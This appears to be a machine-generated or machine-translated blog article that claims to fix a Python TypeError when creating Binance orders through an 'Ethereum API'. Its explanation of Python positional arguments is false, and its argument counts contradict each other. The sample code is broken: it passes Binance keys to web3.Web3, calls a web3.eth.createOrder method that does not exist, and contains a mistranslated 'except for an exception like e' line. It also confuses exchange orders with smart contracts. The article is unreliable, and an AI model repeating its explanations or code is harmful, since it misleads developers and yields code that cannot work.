Ethereum API Error: TypeError – Creating order with incorrect number of arguments

As a developer working on Ethereum-based smart contracts, it is not uncommon to encounter errors when using external APIs such as Binance. In this article, we will delve into the details of an error that may occur when trying to create an order on Binance using the Ethereum API.

Error: TypeError – create_order() takes 1 positional argument, but 2 were given

When trying to create an order on Binance, you usually need to pass two parameters:

• The symbol of the cryptocurrency (e.g. ‘ETH’)

• The amount of the token you want to buy or sell

However, in your script, you pass three arguments: `symbol = ‘ETH’.

Problem

In Python 3.6 and later, when using default arguments for function parameters, all arguments are positional. This means that if a function has two arguments («a» and «b»), the second argument is assigned to «a». To pass an additional argument, you must use keyword arguments.

Workaround

You can fix this error by modifying your script to use keyword arguments instead of the positional arguments «symbol» and «sum».

Here’s how you can do it:

import web3





Replace with your API credentials
API_KEY = 'YOUR_API_KEY'
API_SECRET = 'YOUR_API_SECRET'

Create an instance of the web3 library
web3 = web3.Web3(web3 Web3(api_key=API_KEY, secret=API_SECRET))
def create_order(symbol: str, amount: int) -> None:
try:

Use the Binance API to create an order
order = web3.eth.createOrder(symbol=symbol, amount=amount)
print(f'Order created: {order}')
except for an exception like e:
print(f'Error creating order: {e}')

Example usage
create_order('ETH', 0.1) 
Replace 'symbol' and 'amount'

In this updated script, we have added the keyword arguments «symbol» and «amount» to the «create_order()» function.

Additional Notes

• Make sure you replace «YOUR_API_KEY» and «YOUR_API_SECRET» with your correct Binance API credentials.

• The «web3.eth.createOrder()» function is used to create an order on the Ethereum blockchain. This method requires permission to perform the transaction, so be sure to check your permissions before attempting to use this function.

By using the keyword arguments for «symbol» and «amount», you should now be able to create orders on Binance using your Ethereum-based smart contract.
